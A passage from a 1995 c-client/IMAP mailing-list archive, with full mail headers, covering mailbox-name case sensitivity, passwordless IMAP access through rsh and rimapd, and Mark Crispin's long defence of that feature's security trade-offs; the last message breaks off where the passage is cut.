A01 LIST "" fOo/Bar will not match foo/bar, but A01 LIST "" fOo%/Bar will. In the first case, "fOo/" is the base directory, in the second case the base directory is null. This will be hard to fix without adversely affecting performance. Like John, I'm also staring at the problem of multinational character sets as well. I've therefore decided to make mailbox names case-sensitive, which is the standard for UNIX anyway. John's solution of coercing to lower-case is also a possibility. I would have preferred case-insensitivity, but it is case sensitive in SELECT so it isn't as if this was all that useful. I would be interested in feedback. How important is it to you to have mixed case mailbox names with case-insensitivity in LIST/LSUB? Would you prefer to have all names coerced to lower case (or upper case), or do you prefer what I have done which is to make mailbox names case-sensitive? From pinedev@shivax2.cac.washington.edu Thu Jun 29 23:02:16 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA18899; Thu, 29 Jun 95 23:02:16 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA27154; Thu, 29 Jun 95 23:02:10 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from wincgw1.winc.ad.jp by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA27142; Thu, 29 Jun 95 23:01:53 -0700 Received: by wincgw1.winc.ad.jp (8.6.9+2.4Wb3/4.18:3.7:winc:941125) id PAA06727; Fri, 30 Jun 1995 15:01:42 +0900 Received: (from uucp@localhost) by senri-nc.winc.ad.jp (8.6.9+2.4W/3.3W3-95041914) with UUCP id PAA08348; Fri, 30 Jun 1995 15:01:41 +0900 Received: from ford.airco.co.jp by airco.co.jp (8.6.9+2.4Wb3/3.3W95021020) with SMTP id OAA05576; Fri, 30 Jun 1995 14:36:20 +0900 Received: from ford by ford.airco.co.jp (4.1/6.4J.6) id AA20819; Fri, 30 Jun 95 14:15:11 JST Message-Id: <9506300515.AA20819@ford.airco.co.jp> Date: Fri, 30 Jun 1995 14:15:11 +0900 (JST) From: Mark A Keasling Reply-To: "Mark A. Keasling" Subject: Re: case-insensitivity in LIST and LSUB To: Mark Crispin Cc: IMAP Interest List , c-client Interest List Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Thu, 29 Jun 1995 21:30:03 -0700 (PDT), Mark Crispin wrote... > I would be interested in feedback. How important is it to you to have mixed > case mailbox names with case-insensitivity in LIST/LSUB? Would you prefer to > have all names coerced to lower case (or upper case), or do you prefer what I > have done which is to make mailbox names case-sensitive? > Personally, I don't care much one way or the other just as long I know what to expect. My order of preference: case insensitive -- The ideal case sensitive -- What I have now coerced to lower case -- I could live with it ... coerced to upper case -- I'd complain bitterly -- Mark Keasling AIR Company LTD, 5-31-20 West Senriyama, Suita City, Osaka 565 Japan email: makr@airco.co.jp fone: +1 816 368 6090 fax: +1 816 368 6091 From pinedev@shivax2.cac.washington.edu Fri Jun 30 09:03:57 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA03710; Fri, 30 Jun 95 09:03:57 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA25693; Fri, 30 Jun 95 09:03:45 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from venus.Sun.COM by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA25677; Fri, 30 Jun 95 09:03:39 -0700 Received: from Eng.Sun.COM by venus.Sun.COM (Sun.COM) id JAA08621; Fri, 30 Jun 1995 09:03:36 -0700 Received: from hape.eng.sun.com (hape-105.Eng.Sun.COM) by Eng.Sun.COM (5.x/SMI-5.3) id AA15921; Fri, 30 Jun 1995 09:03:34 -0700 Received: from roam by hape.eng.sun.com (5.x/SMI-SVR4) id AA13321; Fri, 30 Jun 1995 09:03:31 -0700 Date: Fri, 30 Jun 1995 09:01:47 -0800 (PDT) From: Bill Yeager Reply-To: Bill Yeager Subject: Re: case-insensitivity in LIST and LSUB To: IMAP Interest List , c-client Interest List , Mark Crispin Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > I've therefore decided to make mailbox names case-sensitive, which is the > standard for UNIX anyway. Absolutely a must from my point of view. Bill From pinedev@shivax2.cac.washington.edu Fri Jun 30 09:42:31 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA05797; Fri, 30 Jun 95 09:42:31 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA05722; Fri, 30 Jun 95 09:42:11 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA05716; Fri, 30 Jun 95 09:42:09 -0700 Received: from ssrg-ss2-2.Stanford.EDU (mtm@ssrg-ss2-2.Stanford.EDU [171.65.32.100]) by CAMIS.Stanford.EDU (8.6.10/8.6.10) with SMTP id JAA02977; Fri, 30 Jun 1995 09:42:08 -0700 Date: Fri, 30 Jun 1995 09:42:06 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike Macgirvin Subject: Re: case-insensitivity in LIST and LSUB To: Mark Crispin Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 > I would be interested in feedback. How important is it to you to have > mixed case mailbox names with case-insensitivity in LIST/LSUB? Would > you prefer to have all names coerced to lower case (or upper case), or > do you prefer what I have done which is to make mailbox names > case-sensitive? Case-sensitive. Whether or not the client provides insensitivity should be a client function. My application runs primarily on Unix boxes where users expect case sensitivity and use various 8-bit charsets routinely. PC clients might wish to hide this from the user, but without forcing those of use in less restrictive environments to use the "least common denominator". mike From pinedev@shivax2.cac.washington.edu Sun Jul 9 17:56:26 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA07143; Sun, 9 Jul 95 17:56:26 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA06070; Sun, 9 Jul 95 17:56:05 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shivafs.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA06064; Sun, 9 Jul 95 17:56:03 -0700 Received: from utmems.me.utexas.edu by shivafs.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA04515; Sun, 9 Jul 95 17:56:02 -0700 Received: by utmems.me.utexas.edu (5.0/SMI-SVR4) id AA22406; Sun, 9 Jul 1995 19:53:54 +0600 Date: Sun, 9 Jul 1995 19:53:53 -0500 (CDT) From: Joe Bezdek X-Sender: jbezdek@utmems To: C-Client@CAC.Washington.EDU Subject: c-client toolkit question Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Length: 1459 I've got a quick question for you: I recently installed the imapd binary that is distributed as part of the "ml" package. I got my root to move the imapd file as requested in the README file and to make the other changes suggested therein. He created the rimapd link in the correct directory. Things seem to be working now, except that the systems don't seem to be taking advantage of the rsh capabilities of imap. Specifically, I'm having to enter my username and password every time the mail program goes to the remote system to get my mailfile. I have my .rhosts file set correctly. rlogin and rsh work for me outside of the mail programs. I've attempted to make use of imap through the mail program PINE. If you have any suggestions as to how I can get my system to make use of the rsh so that I don't have to log in every time I check my mail, that'd be great. Also, if you happen to know offhand how I can configure the mailtool for OpenWindows to automatically read a remote mailbox, I'd appreciate your help there too. Thanks. -- Joe ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Joe Bezdek, TAMU '94 Mechanical Systems and Design jbezdek@pobox.com Graduate School of Engineering http://shimano.me.utexas.edu/~jbezdek/ University of Texas at Austin ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: From pinedev@shivax2.cac.washington.edu Mon Jul 10 13:23:42 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA10325; Mon, 10 Jul 95 13:23:42 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA10093; Mon, 10 Jul 95 13:23:13 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA10087; Mon, 10 Jul 95 13:23:11 -0700 Received: from shiva2.cac.washington.edu by mailhost2.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA14152; Mon, 10 Jul 95 13:23:08 -0700 Date: Mon, 10 Jul 1995 13:23:04 -0700 (PDT) From: Terry Gray To: Joe Bezdek Cc: C-Client@CAC.Washington.EDU Subject: Re: c-client toolkit question In-Reply-To: Message-Id: Organization: University of Washington; Office of Computing & Communications Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Joe, I'll momentarily forward a msg that may help you track down the problem... -teg On Sun, 9 Jul 1995, Joe Bezdek wrote: > I've got a quick question for you: I recently installed the imapd binary > that is distributed as part of the "ml" package. I got my root to move > the imapd file as requested in the README file and to make the other > changes suggested therein. He created the rimapd link in the correct > directory. Things seem to be working now, except that the systems don't > seem to be taking advantage of the rsh capabilities of imap. > Specifically, I'm having to enter my username and password every time the > mail program goes to the remote system to get my mailfile. I have my > .rhosts file set correctly. rlogin and rsh work for me outside of the > mail programs. > > I've attempted to make use of imap through the mail program PINE. If you > have any suggestions as to how I can get my system to make use of the rsh > so that I don't have to log in every time I check my mail, that'd be great. > > Also, if you happen to know offhand how I can configure the mailtool for > OpenWindows to automatically read a remote mailbox, I'd appreciate your > help there too. > > Thanks. > -- Joe > > ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: > Joe Bezdek, TAMU '94 Mechanical Systems and Design > jbezdek@pobox.com Graduate School of Engineering > http://shimano.me.utexas.edu/~jbezdek/ University of Texas at Austin > ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: > > From pinedev@shivax2.cac.washington.edu Mon Jul 10 13:24:12 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA10359; Mon, 10 Jul 95 13:24:12 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA10128; Mon, 10 Jul 95 13:24:09 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost1.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.32 ) id AA10122; Mon, 10 Jul 95 13:24:08 -0700 Received: from shiva2.cac.washington.edu by mailhost1.cac.washington.edu (5.65+UW95.05/UW-NDC Revision: 2.33 ) id AA22826; Mon, 10 Jul 95 13:24:03 -0700 Date: Mon, 10 Jul 1995 13:23:59 -0700 (PDT) From: Terry Gray To: Joe Bezdek Cc: c-client@cac.washington.edu Subject: Re: imap without username/password (fwd) Message-Id: Organization: University of Washington; Office of Computing & Communications Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII fyi -teg ---------- Forwarded message ---------- Date: Fri, 21 Apr 1995 09:24:32 +0100 (BST) From: Mike Brudenell To: Barry D Cc: pine-info@cac.washington.edu Subject: Re: imap without username/password [Apologies if you have already tried/done these... :-] * The standard way of testing such things is to try giving the equivalent rsh command from a client machine "by hand": rsh serverhost /etc/rimapd This may then give you some useful information. In particular, something like "access denied" implies that the server host doesn't trust your client for the rsh mechanism. * For the "rsh xxx /etc/rimapd" to work the server machine must "trust" the client. This can be done on a per-user basis by having a suitably set up ".rhosts" file in each users' home directory (Be *careful* when setting these up!). Alternatively a "global" file can be set up in the form of "hosts.equiv". Mike Brudenell ------------------------------------------------------------------------------ The Computing Service, University of York, Heslington, York, YO1 5DD, UK Phone: +44-(0)1904-433811 FAX: +44-(0)1904-433740 On 20 Apr 1995, Barry D wrote: > I'm trying to install pine on a network of sun machines, and want to use > our server machine for imap (currently we NFS mount the mail spool > directories). However, I don't want our users to have to enter their > username and password when they start pine. Reading the Pine Technical > Notes (under installing imapd), it looks like I should be able to do this > using the standard rsh mechanism. > > Doesn't appear to work however, since I'm always prompted for username > and password. Although the documentation only mentions creating a link to > rimapd, I have also changed the inetd.conf file. > > In all honesty, I haven't dug through the code to figure this out - kinda > hoping someone can save me that trouble. Any suggestions? > > ----- > Barry D. Hassler barry.hassler@hcst.com > Executive Vice President, > Principle Communications Consultant > > Hassler Communication Systems Technology, Inc OFFICE: +1 513-390-7486 > 5329 Ridgewood Road West (VOICE AND FAX) > Springfield, Ohio 45503-5631 > From pinedev@shivax2.cac.washington.edu Fri Jul 21 13:20:51 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA17014; Fri, 21 Jul 95 13:20:51 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA15334; Fri, 21 Jul 95 13:20:16 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from watson.ibm.com by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA15328; Fri, 21 Jul 95 13:20:14 -0700 Received: from WATSON by watson.ibm.com (IBM VM SMTP V2R3) with BSMTP id 5585; Fri, 21 Jul 95 16:19:41 EDT Received: from YKTVMV by watson.vnet.ibm.com with "VAGENT.V1.01 on VAGENT2" id 6913; Fri, 21 Jul 1995 16:19:41 EDT Received: from chosun.watson.ibm.com by yktvmv.watson.ibm.com (IBM VM SMTP V2R3) with TCP; Fri, 21 Jul 95 16:19:40 EDT Received: by chosun.watson.ibm.com (AIX 3.2/UCB 5.64/930311) id AA21916; Fri, 21 Jul 1995 16:19:20 -0400 Message-Id: <9507212019.AA21916@chosun.watson.ibm.com> From: whchung@watson.ibm.com (William Chung) Date: Fri, 21 Jul 1995 16:19:20 -0400 To: IMAP Interest List , c-client Interest List Subject: Object-oriented IMAP/c-client implementation? There were some murmurs a while back about people working on object-oriented implementations for an IMAP toolkit. Does anyone have any information about the current status of an OO implementation of c-client or any other OO IMAP toolkit? Please include me in any response since I'm not subscribed to the c-client list. Thanks, - William Chung. Multimedia Messaging IBM Research, Hawthorne, NY whchung@watson.ibm.com From pinedev@shivax2.cac.washington.edu Fri Jul 21 14:56:10 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA21101; Fri, 21 Jul 95 14:56:10 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA17082; Fri, 21 Jul 95 14:55:36 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA17066; Fri, 21 Jul 95 14:55:08 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA00928; Fri, 21 Jul 95 14:55:02 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA08371; Fri, 21 Jul 95 14:54:55 -0700 Date: Fri, 21 Jul 1995 13:23:17 -0700 (PDT) From: Mark Crispin Subject: re: Object-oriented IMAP/c-client implementation? To: William Chung Cc: IMAP Interest List , c-client Interest List In-Reply-To: <9507212019.AA21916@chosun.watson.ibm.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Fri, 21 Jul 1995 16:19:20 -0400, William Chung wrote: > There were some murmurs a while back about people working on object-oriented > implementations for an IMAP toolkit. Does anyone have any information about > the current status of an OO implementation of c-client or any other OO IMAP > toolkit? Please include me in any response since I'm not subscribed to > the c-client list. I don't have a specific answer for your question, but I do have a comment: I don't see why an OO implementation of c-client is particularly valuable or useful, unless it's to satisfy some emotional need (which may appear as a checklist item in some design specification). Technically, when you remove the considerable OO is just a programming methodology, intended to compel a particular programming discipline that can be lacking in purely procedural code. However, c-client already has that discipline. Each mail storage driver is in effect an object class (that in turn is a subclass of the overall mail class); a MAILSTREAM is in effect an object. It is quite straightforward to write a jacket to c-client in C++, Obj-C, SmallTalk, Lisp, etc. that provides a native OO interface in these languages. I'm not a C++ expert, but in Obj-C, SmallTalk, and Lisp the code to do so would consist mostly of declarations and one-line definitions. This also leads one to wonder whether you really need the jacket at all! For example, my MailManager application in NEXTSTEP was written in Obj-C, but called c-client routines directly. Making c-client structs be separate objects and c-client calls be separate classes and methods would have just added a layer of overhead. Typically, a MAILSTREAM ended up being saved in an instance variable on a class that had a lot of interface details (which can't be in c-client!) so it really made no difference whether I did: [curWindow settext:mail_fetchtext ([curWindow stream],[curWindow msgno])]; or [curWindow settext:([curWindow folder] fetchText:[curWindow msgno])]; other than adding extra levels of indirection. The only other advantage of an OO language is that they generally have far superior memory management to C; instead of malloc() and free(), you create a chunk of memory (or a string) by using it, and you free it by dropping all pointers and letting garbage collection reclaim it. Given that the malloc() issues have been solved in c-client already, I'm not sure it's worth the considerable effort of rewriting c-client in an OO language just to be able to get rid of all the fs_give() calls, especially considering that the strictly OO version will end up being a lot slower. The bottom line is: it's difficult for me to see what technical benefit is obtained by doing this. Ordinary C, which c-client is written in, provides a base that is much more portable (C meshes with C++, Obj-C, SmallTalk, Lisp, etc. much better than any of the OO languages mesh with any other OO language); it's faster, and pretty much all of the benefits of OO programming are already in the current c-client. It's certainly possible to re-write c-client in an OO language, and rather straightforward at that, but it's also a lot of work with a strong likelihood that you won't get any particular benefit from doing it. -- Mark -- DoD #0105, R90/6 pilot FAX: (206) 842-0758 ICBM: N 47.36'24" W 122.34'08" TOPS-20: A Great Improvement Over Its Successors From pinedev@shivax2.cac.washington.edu Tue Jul 25 06:52:55 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA13884; Tue, 25 Jul 95 06:52:55 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA20576; Tue, 25 Jul 95 06:52:29 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from watson.ibm.com by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA20570; Tue, 25 Jul 95 06:52:27 -0700 Received: from WATSON by watson.ibm.com (IBM VM SMTP V2R3) with BSMTP id 1185; Tue, 25 Jul 95 09:51:53 EDT Received: from YKTVMV by watson.vnet.ibm.com with "VAGENT.V1.01 on VAGENT2" id 9501; Tue, 25 Jul 1995 09:51:53 EDT Received: from chosun.watson.ibm.com by yktvmv.watson.ibm.com (IBM VM SMTP V2R3) with TCP; Tue, 25 Jul 95 09:51:52 EDT Received: by chosun.watson.ibm.com (AIX 3.2/UCB 5.64/930311) id AA24038; Tue, 25 Jul 1995 09:51:31 -0400 Message-Id: <9507251351.AA24038@chosun.watson.ibm.com> From: whchung@watson.ibm.com (William Chung) Date: Tue, 25 Jul 1995 09:51:31 -0400 In-Reply-To: Mark Crispin "re: Object-oriented IMAP/c-client implementation?" (Jul 21, 1:23pm) To: Mark Crispin Subject: re: Object-oriented IMAP/c-client implementation? Cc: IMAP Interest List , c-client Interest List On Jul 21, 1:23pm, Mark Crispin wrote: } Subject: re: Object-oriented IMAP/c-client implementation? } ... } The bottom line is: it's difficult for me to see what technical benefit is } obtained by doing this. Ordinary C, which c-client is written in, provides a } base that is much more portable (C meshes with C++, Obj-C, SmallTalk, Lisp, } etc. much better than any of the OO languages mesh with any other OO } language); it's faster, and pretty much all of the benefits of OO programming } are already in the current c-client. } } It's certainly possible to re-write c-client in an OO language, and rather } straightforward at that, but it's also a lot of work with a strong likelihood } that you won't get any particular benefit from doing it. } ... }-- End of excerpt from Mark Crispin Thanks for the detailed response Mark! Your points about c-client already having almost all of the benefits of OO programming are duly noted. I was interested in an OO c-client because of a desire to mesh c-client with some OO code. Mixing OO code with c-client shouldn't be much of an issue given you had no problems calling c-client from an OO implementation of MailManager. - William Chung. Multimedia Messaging IBM Research, Hawthorne, NY whchung@watson.ibm.com From pinedev@shivax2.cac.washington.edu Fri Jul 28 16:02:33 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA01616; Fri, 28 Jul 95 16:02:33 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA07135; Fri, 28 Jul 95 16:02:11 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA07107; Fri, 28 Jul 95 16:01:15 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA11880; Fri, 28 Jul 95 16:00:58 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA06627; Fri, 28 Jul 95 16:00:49 -0700 Date: Fri, 28 Jul 1995 13:55:28 -0700 (PDT) From: Mark Crispin Subject: Re: Make imap work without "rsh" To: Mike Macgirvin Cc: Paul H Kramer , IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sigh. I shouldn't answer messages when I'm annoyed, but there has been some serious FUD and misinformation arising out of Paul Kramer's innocent question. On Fri, 28 Jul 1995 09:24:57 -0700 (PDT), Mike Macgirvin wrote: > > This question would be better directed to comp.mail.pine (aka > > pine-info@cac.washington.edu) as I believe it is a Pine implementation > > issue rather than an IMAP protocol issue. > > I won't presume that. It affects everybody. It affects everybody who uses c-client. This discussion therefore belongs in the c-client@cac.washington.edu mailing list, although implementors of Pine, ML, and other applications which use c- client need to be aware of the issue and address it in their applications and to their users. So, if you want to persue it further, please bring it up in the c-client list. Let me state my take on the issue, for the record. This isn't to denigrate the extent of the problem -- I'm painfully aware of it! -- but rather to give the historical perspective. At the time the rsh feature was implemented, there was a requirement for passwordless access to an IMAP server, both for user convenience and for security (password in the clear are doubleplus-ungood). Kerberos would have been better, but that wasn't an alternative at that time). After making several tests, I observed that either an rsh request would work, or it would be rejected right away. The only instance of blocking/timeout that I observed was when the target system was down, but I considered that to be alright because the regular TCP open would block/timeout in that case anyway. At that time, I was completely clueless about two things: 1) that there would be filters and TCP wrappers that would drop rsh requests on the floor without any indication of rejection 2) the rsh implementation on most systems *ignores* IP and TCP errors such as "Destination unreachable" and "Connection refused" If I had known, I wouldn't have done it that way. Problem (2) is particularly evil, because you can't beat up the guys who wrote the filters. They'll say, "hey, we sent you a perfectly reasonable rejection, it's your fault if you can't deal with it." And they'd be right. I don't know what the TCP wrappers do. I looked at the rsh source code. rsh calls rcmd(), and golly gee, it has this nasty little test that says, in effect, "TCP rejection, sleep and try again, increasing the sleep period by a power of 2 each time": for (timo = 1, lport = IPPORT_RESERVED - 1;;) { . . . if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) >= 0) break; (void)close(s); . . . if (errno == ECONNREFUSED && timo <= 16) { (void)sleep(timo); timo *= 2; continue; } For IP rejections (which is what many filters cause), it just tries again without sleeping! Those who know me can envision the rather colorful commentary I would have on the geneology of the programmer responsible for that code. ;-) This unfortunate code is in virtually every rsh implementation. And, since rsh needs to run as a privileged program, it's effectively outside of the scope of anything that can be fixed in c-client. OK, so we now know that rsh is not a robust mechanism. Where do we go from here? Let me first deal with two overblown statements: On Fri, 28 Jul 1995 10:32:24 -0800 (PDT), Bill Yeager wrote: > We solved the problem in a very straight forward way. I removed the rexec > auto login code from the c-client. This does eliminate hanging on rsh, although the main program can just as easily control the string sent to c-client. It never ceases to amaze me that people seem to think that c-client argument strings are immutable parts of their user interface. But then we read: > Too big of a security risk. Someone walks into my office, starts up Roam and > is reading my mail. We always require passwords. And, are looking forward to > SKEY. Say what?!!! The ONLY security risk that is excised by removing the rsh code from c-client is the elimination of an invocation of a possible Trojan horse version of rsh. And if your rsh has had a Trojan inserted, you have considerably more problems than worrying about someone walking into your office. The same fellow who walks into your office to start up Roam and read your mail can also do shell commands including rsh to the server host. Whether or not he succeeds depends upons whether or not you let him rsh to the server host. And if you don't let him rsh to the server host, then it doesn't matter whether or not Roam tries to rsh to the server host. In other words, some or all of the following measures are appropriate to achieve a site policy of "always require a password": 1) remove/disable ~/.rhosts on the server machine 2) remove/disable /etc/hosts.config on the server machine 3) remove rshd entry from /etc/inetd.conf on the server machine 4) delete rshd, rlogind, etc. binary on the server machine 5) delete rsh, rlogin, etc. binary on the client machine Let me emphasize that as long as you have rsh and rlogin binaries on the client machine, you have that potential security problem. The presence or absence of code to attempt "rsh /etc/rimapd" in c-client does NOT affect your security one way or another. Removing the rsh binary on the client works just as well as removing the code in c-client, AND it closes the holes. rsh is a setuid program. c-client programs are not. If you failed to take the measures noted above, then you are deluding yourself in thinking that you accomplished anything. Actually, if your policy really is "always require a password", then nothing short of doing ALL of 1-5 above will satisfy that policy. On Fri, 28 Jul 1995 15:52:58 -0400 (EDT), John Gardiner Myers wrote: > That's just the tip of the iceberg, risk-wise. Someone gets one of > the IP-address-spoofing scripts floating around on IRC or whatever, > runs it, and is walking all over your server machine. This is an argument against using IP addresses for authentication and filtering -- to wit, that the entire r????? series of protocols are a bad idea. It isn't as if this wasn't known a decade again; I remember long arguments with UNIXoids about this and their bashing TOPS-20 because we wouldn't implement the r????? protocols. Be that as it may, this is the situation on every UNIX system on the Internet. For better or worse, we have to live with the consequences of the decision to deploy NFS and r????? software on virtually every system on the entire Internet. > It's safe to say that sites would not be significantly increasing > their exposure by modifying their IMAP server to always accept the > null string as a password. John, this is utter nonsense and you know it. Shame on you. If we were commercial you'd be accused of spreading FUD against a competitor. Why don't you say (with equal accuracy): It's safe to say that sites would not be significantly increasing their exposure by modifying their UNIX system to always accept the null string as a password. In order to have the risk at all, an administrative decision must be made to deploy the rimapd capability. The /etc/rimapd link must be installed, and r????? access must be granted by the server to the client. Furthermore, the server must NOT deploy defenses against IP spoofing, and must NOT establish restrictions on rsh access to the server (e.g. an imapd-only shell). NFS is orders of magnitude more dangerous than rimapd. It is vulnerable to everything that rimapd is, and more; and furthermore has much greater consequences on a penetration. Yet in spite of all of this, we don't hear the same level of fear-mongering about NFS. NFS is too useful for sites to give up. > It's one thing that Pine/c-client ships with a loaded gun pointing at > the site administrator's foot, with a sign on the trigger saying "pull > this, it's convenient!". People do stuff like that all the time. You can also say: It's one thing that UNIX ships with a loaded gun pointing at the site administrator's foot, with a sign on the trigger saying "pull this, it's convenient!". People do stuff like that all the time. For better or worse, this is the world in which we live. It is unfair of you to bash c-client for using a heavily-advertise and universally deployed aspect of UNIX, just because that particular aspect has risks. Risk is something that we have to deal with in all facets of life; it is impossible to be free of all risk. What is needed is the understanding to establish appropriate risk management, NOT fear-mongering. Utility needs to be balanced against risk, and risk needs to be minimized as much as possible. > What I find truly annoying is the amount of difficulty and pain this > facility causes people who don't want to use it. ":143" indeed. Take up the question of ":143" with the user agent developer. It is no big deal for a user agent to take care of this. There is no law that says "thou shalt present the exact c-client specification string to the user, and thou shalt require same." > This > facility should require specific action to enable, not to disable. There are (at least) tens of thousands of users of the rimapd facility, including the overwhelming majority of IMAP users at UW (tens of thousands at UW alone). Put crudely, someone's ox is going to get gored no matter what action is taken. Any action c-client takes to enable or disable rimapd is irrelevant to what Pine or other UAs do to enable or disable it, other than to make more work for the UA developer. The UA developer must decide what the UA's action should be. If c-client changes now, this means that every UA now has to deal with an unstable base platform depending upon which version of c-client is used to build the UA. The UA has the decision ripped from its hands. WHERE DO WE GO FROM HERE? Quite frankly, measures such as Kerberos, S/Key, etc. have not been deployed to near the extent o the r?????? protocols. Similarly, secure remote filesystems have not been deployed to near the extent of NFS. What this means is that we have to live with them now, and for the forseeable future. We are not going to make r?????? and NFS go away any time soon. We have to secure them from the IP spoofing attacks, and any future attacks which they will be vulnerable to. Until such time as satisfactory and universally deployed alternatives exist, we will be stuck with them. It is NOT helpful to complain about the presence of the rimapd facility, just as it is not helpful to complain about NFS. For the time being, these are needed. If we didn't have it, we'd have more passwords transmitted in the clear AND WE WOULD HAVE PASSWORDS STORED IN THE CLEAR ON CLIENTS. Let me restate this: WE WOULD HAVE PASSWORDS STORED IN THE CLEAR ON CLIENTS. There is a large user community which rejects having to type a password just to read their mail, after they have already typed a password to get access. This is particularly the case on UNIX-based clients. You can BS the users of DOS and Mac clients (but I've noticed a lot of these storing passwords in the plain on the local disk). Users of UNIX clients are less agreeable. They WILL choose clients which do not force them to issue passwords, and there WILL be vendors who provide them with such clients. A simple investigation in what's available in the POP world demonstrates this. Suppose we clique together and say "none of us will do it." Then, you'll get the trade rags saying "IMAP has some neat features, but it forces you to type your password all the time. POP doesn't, so you should buy POP instead." This is, unfortunately, what we have to deal with. Personally, I would much rather press forward with developing new technologies that eventually will allow us to abandon rimapd, 